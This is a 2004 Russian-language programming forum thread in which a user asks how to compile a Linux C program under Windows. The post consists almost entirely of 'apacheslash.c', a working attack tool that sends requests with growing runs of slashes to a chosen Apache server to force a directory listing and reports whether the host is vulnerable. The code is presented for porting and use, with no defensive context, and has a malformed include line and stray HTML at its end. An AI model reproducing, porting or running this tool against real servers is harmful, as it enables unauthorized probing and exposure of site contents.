1. Набираем команду codeby webinar. Набираем команду для организации и проведения вебинаров. Подробнее ...

    Скрыть объявление
  2. Требуются разработчики и тестеры для проекта codebyOS. Требования для участия в проекте: Знание принципов работы ОС на базе Linux; Знание Bash; Крайне желательное знание CPP, Python, Lua; Навыки системного администрирования. Подробнее ...

    Скрыть объявление
  3. Получи 30.000 рублей. Для получения денег необходимо принять участие в конкурсе авторов codeby. С условиями и призами можно ознакомиться на этой странице ...

    Внимание! Регистрация авторов на конкурс закрыта.

    Скрыть объявление

Как скомпилировать что-то из линукса под Винду

Тема в разделе "Остальные языки программирования", создана пользователем doctor, 25 янв 2004.

Статус темы:
Закрыта.
  1. doctor

    doctor Гость

    Репутация:
    0
    Вапрос как скемпилировать это под Win_32

    Program: xxx.c

    Код:
    #include stdio.h; 
    #include <string.h> 
    #include <errno.h> 
    #include <stdlib.h> 
    #include <netdb.h> 
    #include <sys/types.h> 
    #include <sys/socket.h> 
    #include <netinet/in.h> 
    #include <unistd.h> 
    
    char tmp[10240]; 
    char output[10240]; 
    char *get = "GET "; 
    char *slash = "/"; 
    char *http = " HTTP/1.0\r\n"; 
    char *end = "\r\n\r\n"; 
    int c, x; 
    int port; 
    int low; 
    int max; 
    int sockfd; 
    int bytes_recieved; 
    int count; 
    char *addr; 
    
    struct sockaddr_in dest_addr; 
    struct hostent *he; 
    
    void usage(char *ptr) 
    { 
    fprintf(stderr, "\n\t%s <-h host> <-p port> <-l LOW> <-m MAX>", ptr); 
    fprintf(stderr, "\n\tExample: %s -h 127.0.0.1 -p 80 -l 1 -m 1000\n", ptr); 
    fprintf(stderr, "\n\tLOW is how many /'s to start with and MAX is how many /'s to end with.\n\n"); 
    exit(1); 
    } 
    
    
    int main(int argc, char *argv[]) 
    { 
    printf("\n\t[    apacheslash.c   ]"); 
    printf("\n\t[   c0ded by st0ic   ]"); 
    printf("\n\t[     Fsix.Net    ]"); 
    printf("\n\t[ st0ic@happyhack.zzn.com ]\n\n"); 
    
    while ( ( c = getopt(argc, argv, "h:p:l:m:") ) != -1) 
    { 
    switch(c) 
    { 
    case 'h': 
    { 
    addr = optarg; 
    break; 
    } 
    case 'p': 
    { 
    port = atoi(optarg); 
    break; 
    } 
    case 'l': 
    { 
    low = atoi(optarg); 
    break; 
    } 
    case 'm': 
    { 
    max = atoi(optarg); 
    break; 
    } 
    default: 
    usage(argv[0]); 
    } 
    } 
    
    if ( low > max || addr == NULL ) 
    usage(argv[0]); 
    
    if ( (he = gethostbyname(addr)) == NULL) 
    { 
    perror("gethostbyname"); 
    exit(1); 
    } 
    
    dest_addr.sin_family = AF_INET; 
    dest_addr.sin_addr = *( (struct in_addr *) he->h_addr); 
    dest_addr.sin_port = htons(port); 
    memset (&dest_addr.sin_zero, 0, 8); 
    
    printf("\t\n....Working....\n"); 
    
    while (low <= max) 
    { 
    count = low; 
    bzero(tmp, sizeof(tmp) ); 
    
    if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0) ) == -1) 
    { 
    perror("socket"); 
    break; 
    } 
    
    if (connect (sockfd, (struct sockaddr_in *) &dest_addr, sizeof(dest_addr) ) == -1) 
    { 
    perror("connect"); 
    exit(1); 
    } 
    
    strcpy(tmp, get); 
    
    /* copy the necessary slashes. */ 
       for(x = 0; x < count; x++) 
    strcat(tmp, slash); 
    
    strcat(tmp, http); 
    strcat(tmp, end); 
    
    send(sockfd, tmp, sizeof(tmp), 0); 
    
    bytes_recieved = 1; 
    while(bytes_recieved > 0) 
    { 
    bytes_recieved = recv(sockfd, output, sizeof(output), 0); 
    if ( (strstr(output, "Index of") ) != NULL) 
    { 
    printf("\n\tNumber of \"/\"'s required to generate a directory listing = %d\n", low); 
    close(sockfd); 
    exit(0); 
    } 
    } 
    
    low++; 
    close(sockfd); 
    } 
    
    printf("\nHost does not appear to be vulnerable. Maybe try some different numbers...\n"); 
    
    return 0; 
    } 
    </PRE></BODY></HTML>
     
Загрузка...
Статус темы:
Закрыта.

Поделиться этой страницей